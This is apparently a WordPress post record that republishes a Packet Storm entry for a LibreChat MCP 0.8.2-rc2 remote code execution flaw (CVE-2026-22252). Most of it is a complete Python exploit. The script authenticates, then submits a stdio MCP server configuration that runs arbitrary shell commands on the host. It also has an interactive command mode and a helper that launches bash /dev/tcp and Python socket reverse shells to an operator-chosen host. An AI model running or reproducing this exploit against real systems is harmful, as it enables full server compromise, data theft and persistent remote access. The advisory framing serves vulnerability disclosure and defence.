{"id":38145,"date":"2026-01-29T10:37:41","date_gmt":"2026-01-29T10:37:41","guid":{"rendered":"http:\/\/localhost\/?p=38145"},"modified":"2026-01-29T10:37:41","modified_gmt":"2026-01-29T10:37:41","slug":"librechat-mcp-082-rc2-remote-code-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=38145","title":{"rendered":"\ud83d\udcc4 LibreChat MCP 0.8.2-rc2 Remote Code Execution_PACKETSTORM:214576"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-01-29T16:29:53&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for a remote code execution vulnerability in LibreChat MCP version 0.8.2-rc2 that leverages an unsanitized stdio server configuration issue&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-01-29T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-01-29T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 LibreChat MCP 0.8.2-rc2 Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:214576&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-22252&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : LibreChat MCP 0.8.2-rc2 Remote Code Execution via Unsanitized stdio Server Configuration                                    |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.1 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/www.librechat.ai\/                                                                                                   |\\n    =============================================================================================================================================\\n    \\n    [+] References :  https:\/\/packetstorm.news\/files\/id\/213714\/ \\u0026 \\tCVE-2026-22252\\n    \\n    [+] Summary    :  A critical Remote Code Execution (RCE) vulnerability was identified in LibreChat\u2019s Model Context Protocol (MCP) server management functionality. \\n                      The issue stems from insufficient validation and restriction of user-supplied MCP server configurations, specifically when using the stdio transport type.\\n                      An authenticated attacker can abuse the \/api\/mcp\/servers endpoint to define a malicious MCP server configuration that executes \\n    \\t\\t\\t\\t  arbitrary system commands on the host running LibreChat. Because the application directly spawns operating system processes based on user-controlled parameters without \\n    \\t\\t\\t\\t  proper sandboxing or allowlisting, this flaw enables full command execution with the privileges of the LibreChat service.\\n                      Successful exploitation may lead to complete system compromise, including unauthorized access, data exfiltration, persistence, \\n    \\t\\t\\t\\t  and lateral movement within the hosting environment. The vulnerability represents a design-level security flaw rather than a simple input validation issue and poses a severe risk in production deployments\\n    [+] POC :\\n    \\n    #!\/usr\/bin\/env python3\\n    \\n    import requests\\n    import json\\n    import sys\\n    import re\\n    import time\\n    import argparse\\n    import signal\\n    import logging\\n    from typing import Optional, Dict, Any, Tuple, List\\n    from dataclasses import dataclass\\n    from enum import Enum\\n    from urllib.parse import urljoin\\n    \\n    logging.basicConfig(\\n        level=logging.INFO,\\n        format=&#8217;%(asctime)s &#8211; %(levelname)s &#8211; %(message)s&#8217;\\n    )\\n    logger = logging.getLogger(__name__)\\n    \\n    class TransportType(Enum):\\n    \\n        STDIO = \\&#8221;stdio\\&#8221;\\n        SSE = \\&#8221;sse\\&#8221;\\n        HTTP = \\&#8221;http\\&#8221;\\n    \\n    @dataclass\\n    class AuthResult:\\n    \\n        success: bool\\n        token: Optional[str] = None\\n        cookies: Optional[Dict] = None\\n        session_id: Optional[str] = None\\n        csrf_token: Optional[str] = None\\n        message: str = \\&#8221;\\&#8221;\\n    \\n    class LibreChatExploit:\\n        def __init__(self, target_url: str, timeout: int = 30):\\n            self.target_url = target_url.rstrip(&#8216;\/&#8217;)\\n            self.timeout = timeout\\n    \\n            self.session = requests.Session()\\n            self.session.headers.update({\\n                &#8216;User-Agent&#8217;: &#8216;Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36&#8217;,\\n                &#8216;Accept&#8217;: &#8216;application\/json, text\/plain, *\/*&#8217;,\\n                &#8216;Accept-Language&#8217;: &#8216;en-US,en;q=0.5&#8217;,\\n                &#8216;Connection&#8217;: &#8216;keep-alive&#8217;,\\n            })\\n            \\n            self.auth_result = AuthResult(success=False)\\n            self.csrf_token = None\\n            \\n        def _extract_csrf_token(self, response_text: str) -\\u003e Optional[str]:\\n    \\n            patterns = [\\n                r&#8217;name=\\&#8221;csrfToken\\&#8221; value=\\&#8221;([^\\&#8221;]+)\\&#8221;&#8216;,\\n                r&#8217;\\&#8221;csrfToken\\&#8221;:\\&#8221;([^\\&#8221;]+)\\&#8221;&#8216;,\\n                r&#8217;window\\\\.csrfToken = \\&#8221;([^\\&#8221;]+)\\&#8221;&#8216;,\\n                r&#8217;\\u003cmeta name=\\&#8221;csrf-token\\&#8221; content=\\&#8221;([^\\&#8221;]+)\\&#8221;&#8216;,\\n            ]\\n            \\n            for pattern in patterns:\\n                match = re.search(pattern, response_text)\\n                if match:\\n                    return match.group(1)\\n    \\n            if &#8216;csrf_token&#8217; in self.session.cookies:\\n                return self.session.cookies.get(&#8216;csrf_token&#8217;)\\n            \\n            return None\\n        \\n        def _get_base_endpoints(self) -\\u003e Dict[str, str]:\\n    \\n            try:\\n    \\n                health_check = self.session.get(\\n                    f\\&#8221;{self.target_url}\/health\\&#8221;,\\n                    timeout=self.timeout\\n                )\\n    \\n                for endpoint in [&#8216;\/api&#8217;, &#8216;\/api\/v1&#8217;, &#8216;\/api\/v2&#8217;]:\\n                    try:\\n                        response = self.session.get(\\n                            f\\&#8221;{self.target_url}{endpoint}\\&#8221;,\\n                            timeout=self.timeout,\\n                            allow_redirects=False\\n                        )\\n                        if response.status_code \\u003c 400:\\n                            logger.info(f\\&#8221;Found API interface at: {endpoint}\\&#8221;)\\n                            break\\n                    except:\\n                        continue\\n                        \\n            except Exception as e:\\n                logger.debug(f\\&#8221;System check failed: {e}\\&#8221;)\\n    \\n            return {\\n                &#8216;register&#8217;: &#8216;\/api\/auth\/register&#8217;,\\n                &#8216;login&#8217;: &#8216;\/api\/auth\/login&#8217;,\\n                &#8216;mcp_servers&#8217;: &#8216;\/api\/mcp\/servers&#8217;,\\n                &#8216;user_info&#8217;: &#8216;\/api\/auth\/me&#8217;,\\n            }\\n        \\n        def check_target(self) -\\u003e Tuple[bool, str, Optional[str]]:\\n    \\n            try:\\n                response = self.session.get(\\n                    self.target_url,\\n                    timeout=self.timeout\\n                )\\n                \\n                if response.status_code != 200:\\n                    return False, \\&#8221;Server unavailable\\&#8221;, None\\n    \\n                html_content = response.text\\n                indicators = [&#8216;LibreChat&#8217;, &#8216;librechat&#8217;, &#8216;Evo&#8217;, &#8216;Next.js&#8217;, &#8216;authToken&#8217;]\\n                \\n                is_librechat = any(indicator in html_content for indicator in indicators)\\n                \\n                if not is_librechat:\\n                    return False, \\&#8221;This may not be a LibreChat server\\&#8221;, None\\n    \\n                version_patterns = [\\n                    r&#8217;\\&#8221;version\\&#8221;:\\&#8221;([^\\&#8221;]+)\\&#8221;&#8216;,\\n                    r&#8217;librechat-([\\\\d\\\\.]+)&#8217;,\\n                    r&#8217;v(\\\\d+\\\\.\\\\d+\\\\.\\\\d+)&#8217;,\\n                ]\\n                \\n                version = None\\n                for pattern in version_patterns:\\n                    match = re.search(pattern, html_content)\\n                    if match:\\n                        version = match.group(1)\\n                        break\\n    \\n                self.csrf_token = self._extract_csrf_token(html_content)\\n                if self.csrf_token:\\n                    self.session.headers.update({&#8216;X-CSRF-Token&#8217;: self.csrf_token})\\n                \\n                return True, \\&#8221;LibreChat confirmed\\&#8221;, version\\n                \\n            except requests.RequestException as e:\\n                return False, f\\&#8221;Connection error: {e}\\&#8221;, None\\n        \\n        def register_user(self, username: str, password: str, email: str) -\\u003e bool:\\n    \\n            endpoints = self._get_base_endpoints()\\n            url = urljoin(self.target_url, endpoints[&#8216;register&#8217;])\\n            \\n            headers = {\\&#8221;Content-Type\\&#8221;: \\&#8221;application\/json\\&#8221;}\\n            if self.csrf_token:\\n                headers[&#8216;X-CSRF-Token&#8217;] = self.csrf_token\\n            \\n            payload = {\\n                \\&#8221;name\\&#8221;: username[:50],\\n                \\&#8221;email\\&#8221;: email[:100],\\n                \\&#8221;password\\&#8221;: password,\\n                \\&#8221;confirm_password\\&#8221;: password,\\n                \\&#8221;username\\&#8221;: username[:30]\\n            }\\n            \\n            try:\\n                response = self.session.post(\\n                    url, json=payload, headers=headers, timeout=self.timeout\\n                )\\n                \\n                logger.debug(f\\&#8221;Registration response: {response.status_code}\\&#8221;)\\n                \\n                if response.status_code in [200, 201, 302]:\\n                    logger.info(f\\&#8221;[\u2713] User registered: {username}\\&#8221;)\\n    \\n                    if &#8216;csrf&#8217; in response.text.lower():\\n                        self.csrf_token = self._extract_csrf_token(response.text)\\n                        if self.csrf_token:\\n                            self.session.headers.update({&#8216;X-CSRF-Token&#8217;: self.csrf_token})\\n                    return True\\n                else:\\n                    logger.warning(f\\&#8221;Registration failed (HTTP {response.status_code}): {response.text[:200]}\\&#8221;)\\n                    return False\\n                    \\n            except Exception as e:\\n                logger.error(f\\&#8221;Error during registration: {e}\\&#8221;)\\n                return False\\n        \\n        def login(self, email: str, password: str) -\\u003e AuthResult:\\n    \\n            endpoints = self._get_base_endpoints()\\n            url = urljoin(self.target_url, endpoints[&#8216;login&#8217;])\\n            \\n            headers = {\\&#8221;Content-Type\\&#8221;: \\&#8221;application\/json\\&#8221;}\\n            if self.csrf_token:\\n                headers[&#8216;X-CSRF-Token&#8217;] = self.csrf_token\\n            \\n            payload = {\\&#8221;email\\&#8221;: email, \\&#8221;password\\&#8221;: password}\\n            \\n            try:\\n                response = self.session.post(\\n                    url, json=payload, headers=headers, timeout=self.timeout, allow_redirects=True\\n                )\\n                \\n                logger.debug(f\\&#8221;Login response: {response.status_code}\\&#8221;)\\n                \\n                if response.status_code in [200, 201, 302]:\\n    \\n                    token = None\\n                    try:\\n                        data = response.json()\\n                        token = data.get(&#8216;token&#8217;) or data.get(&#8216;accessToken&#8217;) or data.get(&#8216;authToken&#8217;)\\n                    except:\\n                        pass\\n    \\n                    cookies = dict(self.session.cookies) if self.session.cookies else {}\\n    \\n                    new_csrf = self._extract_csrf_token(response.text)\\n                    if new_csrf:\\n                        self.csrf_token = new_csrf\\n                        self.session.headers.update({&#8216;X-CSRF-Token&#8217;: self.csrf_token})\\n    \\n                    auth_valid = self._verify_authentication()\\n                    \\n                    self.auth_result = AuthResult(\\n                        success=auth_valid,\\n                        token=token,\\n                        cookies=cookies,\\n                        csrf_token=self.csrf_token,\\n                        message=\\&#8221;Login successful\\&#8221; if auth_valid else \\&#8221;Authentication invalid\\&#8221;\\n                    )\\n                    \\n                    if auth_valid:\\n                        logger.info(\\&#8221;[\u2713] Login and authentication successful\\&#8221;)\\n                    else:\\n                        logger.warning(\\&#8221;[!] Login succeeded but session is invalid\\&#8221;)\\n                    \\n                    return self.auth_result\\n                else:\\n                    error_msg = f\\&#8221;Login failed: {response.status_code}\\&#8221;\\n                    if response.text:\\n                        error_msg += f\\&#8221; &#8211; {response.text[:100]}\\&#8221;\\n                    logger.error(error_msg)\\n                    return AuthResult(success=False, message=error_msg)\\n                    \\n            except Exception as e:\\n                error_msg = f\\&#8221;Login error: {e}\\&#8221;\\n                logger.error(error_msg)\\n                return AuthResult(success=False, message=error_msg)\\n        \\n        def _verify_authentication(self) -\\u003e bool:\\n    \\n            endpoints = self._get_base_endpoints()\\n            url = urljoin(self.target_url, endpoints[&#8216;user_info&#8217;])\\n            try:\\n                response = self.session.get(url, timeout=self.timeout)\\n                if response.status_code == 200:\\n                    user_data = response.json()\\n                    return bool(user_data.get(&#8216;username&#8217;) or user_data.get(&#8217;email&#8217;))\\n            except:\\n                pass\\n            return False\\n        \\n        def check_mcp_endpoint(self) -\\u003e Tuple[bool, str]:\\n    \\n            endpoints = self._get_base_endpoints()\\n            url = urljoin(self.target_url, endpoints[&#8216;mcp_servers&#8217;])\\n            try:\\n                response = self.session.get(url, timeout=self.timeout)\\n                if response.status_code == 401:\\n                    return False, \\&#8221;Authentication required\\&#8221;\\n                elif response.status_code == 403:\\n                    return False, \\&#8221;Forbidden &#8211; Might require Admin privileges\\&#8221;\\n                elif response.status_code == 404:\\n                    return False, \\&#8221;Not Found &#8211; Version mismatch\\&#8221;\\n                elif response.status_code == 200:\\n                    return True, \\&#8221;Available\\&#8221;\\n                else:\\n                    return False, f\\&#8221;Unknown status: {response.status_code}\\&#8221;\\n            except Exception as e:\\n                return False, f\\&#8221;Connection error: {e}\\&#8221;\\n        \\n        def execute_command(self, command: str, shell_path: str = None) -\\u003e Tuple[bool, str]:\\n    \\n            if not self.auth_result.success:\\n                return False, \\&#8221;Unauthorized\\&#8221;\\n            \\n            endpoints = self._get_base_endpoints()\\n            url = urljoin(self.target_url, endpoints[&#8216;mcp_servers&#8217;])\\n    \\n            shell_path = shell_path or &#8216;\/bin\/sh&#8217;\\n    \\n            safe_command = f\\&#8221;({command}) 2\\u003e\\u00261\\&#8221;\\n            \\n            payload = {\\n                \\&#8221;config\\&#8221;: {\\n                    \\&#8221;type\\&#8221;: \\&#8221;stdio\\&#8221;,\\n                    \\&#8221;title\\&#8221;: f\\&#8221;server_{int(time.time())}\\&#8221;,\\n                    \\&#8221;command\\&#8221;: shell_path,\\n                    \\&#8221;args\\&#8221;: [\\&#8221;-c\\&#8221;, safe_command]\\n                }\\n            }\\n            \\n            headers = {\\&#8221;Content-Type\\&#8221;: \\&#8221;application\/json\\&#8221;}\\n            if self.auth_result.token:\\n                headers[&#8216;Authorization&#8217;] = f\\&#8221;Bearer {self.auth_result.token}\\&#8221;\\n            if self.csrf_token:\\n                headers[&#8216;X-CSRF-Token&#8217;] = self.csrf_token\\n            \\n            try:\\n                logger.info(f\\&#8221;Sending command to: {url}\\&#8221;)\\n                response = self.session.post(\\n                    url, json=payload, headers=headers, timeout=self.timeout\\n                )\\n                \\n                if response.status_code in [200, 201]:\\n                    try:\\n                        data = response.json()\\n                        error = data.get(&#8216;error&#8217;) or data.get(&#8216;message&#8217;, &#8221;)\\n                        if error and &#8216;fail&#8217; in error.lower():\\n                            return False, f\\&#8221;Server rejected: {error}\\&#8221;\\n                    except:\\n                        pass\\n                    return True, \\&#8221;Command sent\\&#8221;\\n                else:\\n                    return False, f\\&#8221;Execution failed: {response.status_code} &#8211; {response.text[:200]}\\&#8221;\\n                    \\n            except requests.Timeout:\\n                return False, \\&#8221;Timeout &#8211; Command might be running\\&#8221;\\n            except Exception as e:\\n                return False, f\\&#8221;Error: {e}\\&#8221;\\n        \\n        def test_vulnerability(self) -\\u003e Tuple[bool, str, Optional[str]]:\\n      \\n            test_file = f\\&#8221;\/tmp\/librechat_test_{int(time.time())}.txt\\&#8221;\\n            test_command = f\\&#8221;id \\u0026\\u0026 whoami \\u0026\\u0026 hostname \\u0026\\u0026 echo &#8216;test&#8217; \\u0026\\u0026 date \\u003e {test_file} 2\\u003e\\u00261\\&#8221;\\n            \\n            success, message = self.execute_command(test_command)\\n            \\n            if success:\\n          \\n                return True, \\&#8221;Vulnerability likely exists (Command sent)\\&#8221;, None\\n            else:\\n                return False, f\\&#8221;Vulnerability not found: {message}\\&#8221;, None\\n    \\n    class InteractiveShell:\\n    \\n        def __init__(self, exploit: LibreChatExploit):\\n            self.exploit = exploit\\n            self.running = True\\n            signal.signal(signal.SIGINT, self.signal_handler)\\n            signal.signal(signal.SIGTERM, self.signal_handler)\\n        \\n        def signal_handler(self, signum, frame):\\n            logger.info(\\&#8221;\\\\n[!] Shutdown signal received&#8230;\\&#8221;)\\n            self.running = False\\n        \\n        def run(self):\\n     \\n            print(\\&#8221;\\\\n\\&#8221; + \\&#8221;=\\&#8221;*60)\\n            print(\\&#8221;Interactive Mode &#8211; Type &#8216;help&#8217; for menu\\&#8221;)\\n            print(\\&#8221;Type &#8216;exit&#8217; to quit\\&#8221;)\\n            print(\\&#8221;=\\&#8221;*60)\\n            \\n            command_history = []\\n            rate_limit = 1\\n            last_command_time = 0\\n            \\n            while self.running:\\n                try:\\n                    current_time = time.time()\\n                    if current_time &#8211; last_command_time \\u003c rate_limit:\\n                        time.sleep(rate_limit &#8211; (current_time &#8211; last_command_time))\\n                    \\n                    try:\\n                        cmd = input(\\&#8221;\\\\nexploit\\u003e \\&#8221;).strip()\\n                    except EOFError:\\n                        break\\n                    except KeyboardInterrupt:\\n                        continue\\n                    \\n                    if not cmd: continue\\n                    \\n                    last_command_time = time.time()\\n                    command_history.append(cmd)\\n                    \\n                    if cmd.lower() == &#8216;exit&#8217;: break\\n                    elif cmd.lower() == &#8216;help&#8217;: self.show_help()\\n                    elif cmd.lower() == &#8216;history&#8217;:\\n                        for i, h in enumerate(command_history[-10:], 1): print(f\\&#8221;{i}: {h}\\&#8221;)\\n                    elif cmd.lower() == &#8216;status&#8217;:\\n                        print(f\\&#8221;Auth: {&#8216;Success&#8217; if self.exploit.auth_result.success else &#8216;Failed&#8217;}\\&#8221;)\\n                        print(f\\&#8221;CSRF: {&#8216;Present&#8217; if self.exploit.csrf_token else &#8216;Missing&#8217;}\\&#8221;)\\n                    elif cmd.lower().startswith(&#8216;shell&#8217;):\\n                        self.handle_reverse_shell(cmd)\\n                    else:\\n                        success, message = self.exploit.execute_command(cmd)\\n                        print(f\\&#8221;[{&#8216;\u2713&#8217; if success else &#8216;\u2717&#8217;}] {message}\\&#8221;)\\n                except Exception as e:\\n                    logger.error(f\\&#8221;Shell error: {e}\\&#8221;)\\n                    time.sleep(1)\\n            \\n        def show_help(self):\\n            print(\\&#8221;\\&#8221;\\&#8221;\\n            Commands:\\n            exit            &#8211; Exit\\n            help            &#8211; Show this menu\\n            history         &#8211; Show last 10 commands\\n            status          &#8211; Auth status\\n            shell [LHOST] [LPORT] &#8211; Spawn reverse shell\\n            \\n            Examples: id, pwd, ls -la, cat \/etc\/passwd\\n            \\&#8221;\\&#8221;\\&#8221;)\\n        \\n        def handle_reverse_shell(self, cmd: str):\\n            parts = cmd.split()\\n            if len(parts) \\u003c 3:\\n                print(\\&#8221;[!] Usage: shell [LHOST] [LPORT]\\&#8221;)\\n                return\\n            \\n            lhost, lport = parts[1], parts[2]\\n            print(f\\&#8221;[*] Preparing reverse shell to {lhost}:{lport}\\&#8221;)\\n            \\n            shells = [\\n                f\\&#8221;bash -c &#8216;bash -i \\u003e\\u0026 \/dev\/tcp\/{lhost}\/{lport} 0\\u003e\\u00261&#8217;\\&#8221;,\\n                f\\&#8221;python3 -c &#8216;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\\\\&#8221;{lhost}\\\\\\&#8221;,{lport}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\\\\\&#8221;\/bin\/sh\\\\\\&#8221;,\\\\\\&#8221;-i\\\\\\&#8221;]);&#8217;\\&#8221;,\\n            ]\\n            \\n            for i, s_cmd in enumerate(shells, 1):\\n                print(f\\&#8221;[*] Attempting shell #{i}&#8230;\\&#8221;)\\n                success, message = self.exploit.execute_command(s_cmd)\\n                if success:\\n                    print(\\&#8221;[\u2713] Shell sent. Check your listener.\\&#8221;)\\n                    break\\n    \\n    def main():\\n        parser = argparse.ArgumentParser(description=&#8217;LibreChat MCP RCE Exploit&#8217;)\\n        parser.add_argument(&#8216;-u&#8217;, &#8216;&#8211;url&#8217;, required=True, help=&#8217;Target URL&#8217;)\\n        parser.add_argument(&#8216;-c&#8217;, &#8216;&#8211;command&#8217;, help=&#8217;Command to execute&#8217;)\\n        parser.add_argument(&#8216;&#8211;test&#8217;, action=&#8217;store_true&#8217;, help=&#8217;Test vulnerability&#8217;)\\n        parser.add_argument(&#8216;&#8211;interactive&#8217;, action=&#8217;store_true&#8217;, help=&#8217;Interactive mode&#8217;)\\n        parser.add_argument(&#8216;&#8211;username&#8217;, default=&#8217;test_user&#8217;)\\n        parser.add_argument(&#8216;&#8211;password&#8217;, default=&#8217;Test12345!&#8217;)\\n        parser.add_argument(&#8216;&#8211;email&#8217;, default=&#8217;test@example.local&#8217;)\\n        parser.add_argument(&#8216;&#8211;timeout&#8217;, type=int, default=30)\\n        parser.add_argument(&#8216;&#8211;verbose&#8217;, &#8216;-v&#8217;, action=&#8217;store_true&#8217;)\\n        \\n        args = parser.parse_args()\\n        if args.verbose: logging.getLogger().setLevel(logging.DEBUG)\\n        \\n        print(\\&#8221;=\\&#8221;*60)\\n        print(\\&#8221;LibreChat MCP RCE Exploit &#8211; Enhanced\\&#8221;)\\n        print(\\&#8221;CVE-2026-22252\\&#8221;)\\n        print(\\&#8221;=\\&#8221;*60)\\n        \\n        exploit = LibreChatExploit(args.url, args.timeout)\\n        \\n        print(\\&#8221;[*] Checking target system&#8230;\\&#8221;)\\n        ok, msg, ver = exploit.check_target()\\n        if not ok:\\n            print(f\\&#8221;[\u2717] {msg}\\&#8221;)\\n            sys.exit(1)\\n        \\n        print(f\\&#8221;[\u2713] {msg} (Version: {ver or &#8216;Unknown&#8217;})\\&#8221;)\\n        \\n        print(f\\&#8221;\\\\n[*] Authenticating as {args.username}&#8230;\\&#8221;)\\n        auth = exploit.login(args.email, args.password)\\n        \\n        if not auth.success:\\n            print(\\&#8221;[*] Attempting registration&#8230;\\&#8221;)\\n            if exploit.register_user(args.username, args.password, args.email):\\n                auth = exploit.login(args.email, args.password)\\n                \\n        if not auth.success:\\n            print(f\\&#8221;[\u2717] Authentication failed: {auth.message}\\&#8221;)\\n            sys.exit(1)\\n            \\n        print(\\&#8221;[\u2713] Authentication successful\\&#8221;)\\n        \\n        if args.test:\\n            vuln, msg, out = exploit.test_vulnerability()\\n            print(f\\&#8221;\\\\n[{&#8216;\u2713&#8217; if vuln else &#8216;\u2717&#8217;}] {msg}\\&#8221;)\\n        elif args.command:\\n            success, msg = exploit.execute_command(args.command)\\n            print(f\\&#8221;[{&#8216;\u2713&#8217; if success else &#8216;\u2717&#8217;}] {msg}\\&#8221;)\\n        elif args.interactive:\\n            shell = InteractiveShell(exploit)\\n            shell.run()\\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        try:\\n            main()\\n        except KeyboardInterrupt:\\n            print(\\&#8221;\\\\n[*] Interrupted by user\\&#8221;)\\n            sys.exit(0)\\n    \\t\\n    Greetings to :============================================================\\n    jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|\\n    ==========================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/214576&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.9,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:C\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/214576\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-01-29T16:29:53&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for a remote code execution vulnerability in LibreChat MCP version 0.8.2-rc2 that leverages an unsanitized stdio server configuration issue&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-01-29T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-01-29T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 LibreChat MCP&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,45,12,13,53,7,11,5],"class_list":["post-38145","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-99","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 LibreChat MCP 0.8.2-rc2 Remote Code Execution_PACKETSTORM:214576 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=38145\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 LibreChat MCP 0.8.2-rc2 Remote Code Execution_PACKETSTORM:214576 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-01-29T16:29:53&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for a remote code execution vulnerability in LibreChat MCP version 0.8.2-rc2 that leverages an unsanitized stdio server configuration issue&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-01-29T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-01-29T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 LibreChat MCP...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=38145\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-01-29T10:37:41+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"14 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=38145#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=38145\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 LibreChat MCP 0.8.2-rc2 Remote Code Execution_PACKETSTORM:214576\",\"datePublished\":\"2026-01-29T10:37:41+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=38145\"},\"wordCount\":2682,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.9\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=38145#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=38145\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=38145\",\"name\":\"\ud83d\udcc4 LibreChat MCP 0.8.2-rc2 Remote Code Execution_PACKETSTORM:214576 - zero 